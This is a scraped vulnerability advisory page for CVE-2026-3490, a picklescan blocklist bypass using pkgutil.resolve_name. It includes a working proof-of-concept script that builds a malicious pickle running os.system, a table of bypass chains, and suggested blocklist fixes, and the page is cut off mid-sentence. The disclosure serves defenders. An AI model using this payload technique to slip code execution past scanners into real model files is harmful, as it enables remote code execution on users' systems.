Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-3490 — picklescan

🔴 CVSS 10.0 — Critical ✅ No Known Exploit CWE-183 NVD
10.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

PickleScan's pkgutil.resolve_name has a universal blocklist bypass

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

```

1. STACK_GLOBAL: push pkgutil.resolve_name

2. REDUCE: call resolve_name("os:system") → returns os.system function object

3. REDUCE: call the returned function("malicious command") → RCE

```

picklescan's opcode scanner sees:

  • STACK_GLOBAL with module=pkgutil, name=resolve_nameNOT in blocklist → CLEAN
  • The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

```python

from pkgutil import resolve_name

_var0 = resolve_name('os:system') # Returns the actual os.system function

_var1 = _var0('malicious_command') # Calls os.system('malicious_command')

result = _var1

```

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

| Chain | Resolves To | Confirmed RCE | picklescan Result |

|-------|------------|---------------|-------------------|

| resolve_name("os:system") | os.system | YES | CLEAN |

| resolve_name("builtins:exec") | builtins.exec | YES | CLEAN |

| resolve_name("builtins:eval") | builtins.eval | YES | CLEAN |

| resolve_name("subprocess:getoutput") | subprocess.getoutput | YES | CLEAN |

| resolve_name("subprocess:getstatusoutput") | subprocess.getstatusoutput | YES | CLEAN |

| resolve_name("subprocess:call") | subprocess.call | YES (shell=True needed) | CLEAN |

| resolve_name("subprocess:check_call") | subprocess.check_call | YES (shell=True needed) | CLEAN |

| resolve_name("subprocess:check_output") | subprocess.check_output | YES (shell=True needed) | CLEAN |

| resolve_name("posix:system") | posix.system | YES | CLEAN |

| resolve_name("cProfile:run") | cProfile.run | YES | CLEAN |

| resolve_name("profile:run") | profile.run | YES | CLEAN |

| resolve_name("pty:spawn") | pty.spawn | YES | CLEAN |

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

```python

import struct, io, pickle

def sbu(s):

b = s.encode()

return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")

payload = (

b"\x80\x04\x95" + struct.pack("<Q", 55)

+ sbu("pkgutil") + sbu("resolve_name") + b"\x93" # STACK_GLOBAL

+ sbu("os:system") + b"\x85" + b"R" # REDUCE: resolve_name("os:system")

+ sbu("id") + b"\x85" + b"R" # REDUCE: os.system("id")

+ b"." # STOP

)

# picklescan: 0 issues

from picklescan.scanner import scan_pickle_bytes

result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")

assert result.issues_count == 0 # CLEAN!

# Execute: runs os.system("id") → RCE

pickle.loads(payload)

```

Why pkgutil Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.

Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.

Impact

This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.

This affects:

  • HuggingFace Hub (uses picklescan)
  • Any ML pipeline using picklescan for safety validation
  • Any system relying on picklescan's blocklist to prevent malicious pickle execution

Suggested Fix

1. Immediate: Add pkgutil to _unsafe_globals:

```python

"pkgutil": {"resolve_name"},

```

2. Also block similar resolution functions:

```python

"importlib": "*",

"importlib.util": "*",

```

3. Architectural: The blocklist appr

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-3490 is classified as CWE-183: Permissive List of Allowed Inputs. The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input…

Affected software

CVE-2026-3490 is recorded against 2 packages.

  • picklescan (fixed in 1.0.4)
  • unknown

Timeline and source

Published on 29 June 2026 and last revised on 1 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
www.vulncheck.com (Web)
pypi.org (Package)
github.com (Advisory)

Other advisories for this package

picklescan has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-183: Permissive List of Allowed Inputs) in other software:

Details

Severity CRITICAL
CVSS Score 10.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE CWE-183
Public Exploit ✅ No
Source NVD
Published 2026-06-29
Updated 2026-08-20
Modified 2026-07-01
Fix URL N/A

Affected Packages

Software From version Fixed in
picklescan 1.0.4
unknown

Similar Threats

Exploit Protection

Are you running picklescan?

CVE-2026-3490 carries CVSS 10.0 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-3490 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026